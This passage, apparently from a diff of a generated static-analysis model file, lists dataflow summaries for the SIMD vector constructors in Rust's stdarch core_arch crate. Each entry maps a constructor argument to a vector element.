"ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i32x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x1(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x1(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i8x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i8x32(0)].Element", 